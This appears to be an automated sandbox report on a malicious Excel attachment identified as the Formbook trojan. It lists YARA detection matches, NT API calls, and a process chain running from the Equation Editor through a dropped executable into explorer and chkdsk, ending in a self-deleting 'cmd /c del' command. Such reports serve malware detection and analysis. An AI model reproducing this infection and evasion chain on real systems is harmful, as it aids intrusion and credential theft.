Source: 6.2.oktuxvhtsq.exe.260000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.oktuxvhtsq.exe.260000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 7.2.oktuxvhtsq.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 7.2.oktuxvhtsq.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 7.2.oktuxvhtsq.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: oktuxvhtsq.exe PID: 1784, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: oktuxvhtsq.exe PID: 1516, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: chkdsk.exe PID: 2052, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: C:\Users\user\AppData\Roaming\word.exe

Code function: 5_2_004030FB EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,ExitProcess,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

5_2_004030FB

Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 0208F970 appears 84 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 0201DF5C appears 137 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 0206373B appears 253 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 02063F92 appears 132 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 0201E2A8 appears 60 times
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: String function: 007AF970 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: String function: 0078373B appears 253 times
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: String function: 0073E2A8 appears 60 times
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: String function: 004102B0 appears 54 times
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: String function: 00783F92 appears 132 times
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: String function: 0073DF5C appears 137 times

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041A320 NtCreateFile,	7_2_0041A320
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041A3D0 NtReadFile,	7_2_0041A3D0
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041A450 NtClose,	7_2_0041A450
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041A500 NtAllocateVirtualMemory,	7_2_0041A500
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041A3CA NtReadFile,	7_2_0041A3CA
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041A44B NtClose,	7_2_0041A44B
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00730078 NtResumeThread,LdrInitializeThunk,	7_2_00730078
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00730048 NtProtectVirtualMemory,LdrInitializeThunk,	7_2_00730048
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007300C4 NtCreateFile,LdrInitializeThunk,	7_2_007300C4
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072F900 NtReadFile,LdrInitializeThunk,	7_2_0072F900
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072F9F0 NtClose,LdrInitializeThunk,	7_2_0072F9F0
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FAE8 NtQueryInformationProcess,LdrInitializeThunk,	7_2_0072FAE8
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	7_2_0072FAD0
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FB68 NtFreeVirtualMemory,LdrInitializeThunk,	7_2_0072FB68
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FBB8 NtQueryInformationToken,LdrInitializeThunk,	7_2_0072FBB8
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FC60 NtMapViewOfSection,LdrInitializeThunk,	7_2_0072FC60
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FC90 NtUnmapViewOfSection,LdrInitializeThunk,	7_2_0072FC90
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FDC0 NtQuerySystemInformation,LdrInitializeThunk,	7_2_0072FDC0
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FD8C NtDelayExecution,LdrInitializeThunk,	7_2_0072FD8C
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	7_2_0072FED0
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FEA0 NtReadVirtualMemory,LdrInitializeThunk,	7_2_0072FEA0
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FFB4 NtCreateSection,LdrInitializeThunk,	7_2_0072FFB4
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00730060 NtQuerySection,	7_2_00730060
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0073010C NtOpenDirectoryObject,	7_2_0073010C
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007301D4 NtSetValueKey,	7_2_007301D4
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007307AC NtCreateMutant,	7_2_007307AC
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00730C40 NtGetContextThread,	7_2_00730C40
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007310D0 NtOpenProcessToken,	7_2_007310D0
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00731148 NtOpenThread,	7_2_00731148
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072F8CC NtWaitForSingleObject,	7_2_0072F8CC
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00731930 NtSetContextThread,	7_2_00731930
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072F938 NtWriteFile,	7_2_0072F938
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FA50 NtEnumerateValueKey,	7_2_0072FA50
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FA20 NtQueryInformationFile,	7_2_0072FA20
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FAB8 NtQueryValueKey,	7_2_0072FAB8
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FB50 NtCreateKey,	7_2_0072FB50
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FBE8 NtQueryVirtualMemory,	7_2_0072FBE8
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FC48 NtSetInformationFile,	7_2_0072FC48
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FC30 NtOpenProcess,	7_2_0072FC30
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FD5C NtEnumerateKey,	7_2_0072FD5C
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00731D80 NtSuspendThread,	7_2_00731D80
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FE24 NtWriteVirtualMemory,	7_2_0072FE24
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FF34 NtQueueApcThread,	7_2_0072FF34
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0072FFFC NtCreateProcessEx,	7_2_0072FFFC
Source: C:\Windows\explorer.exe	Code function: 8_2_08080E12 NtProtectVirtualMemory,	8_2_08080E12
Source: C:\Windows\explorer.exe	Code function: 8_2_0807F232 NtCreateFile,	8_2_0807F232
Source: C:\Windows\explorer.exe	Code function: 8_2_08080E0A NtProtectVirtualMemory,	8_2_08080E0A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020100C4 NtCreateFile,LdrInitializeThunk,	10_2_020100C4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020107AC NtCreateMutant,LdrInitializeThunk,	10_2_020107AC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FAB8 NtQueryValueKey,LdrInitializeThunk,	10_2_0200FAB8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	10_2_0200FAD0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FAE8 NtQueryInformationProcess,LdrInitializeThunk,	10_2_0200FAE8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FB50 NtCreateKey,LdrInitializeThunk,	10_2_0200FB50
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FB68 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_0200FB68
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FBB8 NtQueryInformationToken,LdrInitializeThunk,	10_2_0200FBB8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200F900 NtReadFile,LdrInitializeThunk,	10_2_0200F900
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200F9F0 NtClose,LdrInitializeThunk,	10_2_0200F9F0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	10_2_0200FED0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FFB4 NtCreateSection,LdrInitializeThunk,	10_2_0200FFB4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FC60 NtMapViewOfSection,LdrInitializeThunk,	10_2_0200FC60
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FD8C NtDelayExecution,LdrInitializeThunk,	10_2_0200FD8C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FDC0 NtQuerySystemInformation,LdrInitializeThunk,	10_2_0200FDC0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02010048 NtProtectVirtualMemory,	10_2_02010048
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02010060 NtQuerySection,	10_2_02010060
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02010078 NtResumeThread,	10_2_02010078
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0201010C NtOpenDirectoryObject,	10_2_0201010C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020101D4 NtSetValueKey,	10_2_020101D4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02010C40 NtGetContextThread,	10_2_02010C40
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020110D0 NtOpenProcessToken,	10_2_020110D0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02011148 NtOpenThread,	10_2_02011148
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FA20 NtQueryInformationFile,	10_2_0200FA20
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FA50 NtEnumerateValueKey,	10_2_0200FA50
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FBE8 NtQueryVirtualMemory,	10_2_0200FBE8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200F8CC NtWaitForSingleObject,	10_2_0200F8CC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02011930 NtSetContextThread,	10_2_02011930
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200F938 NtWriteFile,	10_2_0200F938
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FE24 NtWriteVirtualMemory,	10_2_0200FE24
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FEA0 NtReadVirtualMemory,	10_2_0200FEA0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FF34 NtQueueApcThread,	10_2_0200FF34
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FFFC NtCreateProcessEx,	10_2_0200FFFC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FC30 NtOpenProcess,	10_2_0200FC30
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FC48 NtSetInformationFile,	10_2_0200FC48
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FC90 NtUnmapViewOfSection,	10_2_0200FC90
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0200FD5C NtEnumerateKey,	10_2_0200FD5C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02011D80 NtSuspendThread,	10_2_02011D80
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DA320 NtCreateFile,	10_2_000DA320
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DA3D0 NtReadFile,	10_2_000DA3D0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DA450 NtClose,	10_2_000DA450
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DA500 NtAllocateVirtualMemory,	10_2_000DA500
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DA3CA NtReadFile,	10_2_000DA3CA
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DA44B NtClose,	10_2_000DA44B

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$RFQ-T56797W_1.xlsx

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@14/7@9/7

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: RFQ-T56797W_1.xlsx

OLE indicator, Workbook stream: true

Source: RFQ-T56797W_1.xlsx	ReversingLabs: Detection: 63%
Source: RFQ-T56797W_1.xlsx	Virustotal: Detection: 54%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe C:\Users\user\AppData\Roaming\word.exe
Source: C:\Users\user\AppData\Roaming\word.exe	Process created: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe "C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe"
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Process created: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\autochk.exe C:\Windows\SysWOW64\autochk.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\chkdsk.exe C:\Windows\SysWOW64\chkdsk.exe
Source: C:\Windows\SysWOW64\chkdsk.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe C:\Users\user\AppData\Roaming\word.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process created: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe "C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Process created: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\autochk.exe C:\Windows\SysWOW64\autochk.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\chkdsk.exe C:\Windows\SysWOW64\chkdsk.exe	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe"	Jump to behavior

Source: C:\Users\user\AppData\Roaming\word.exe

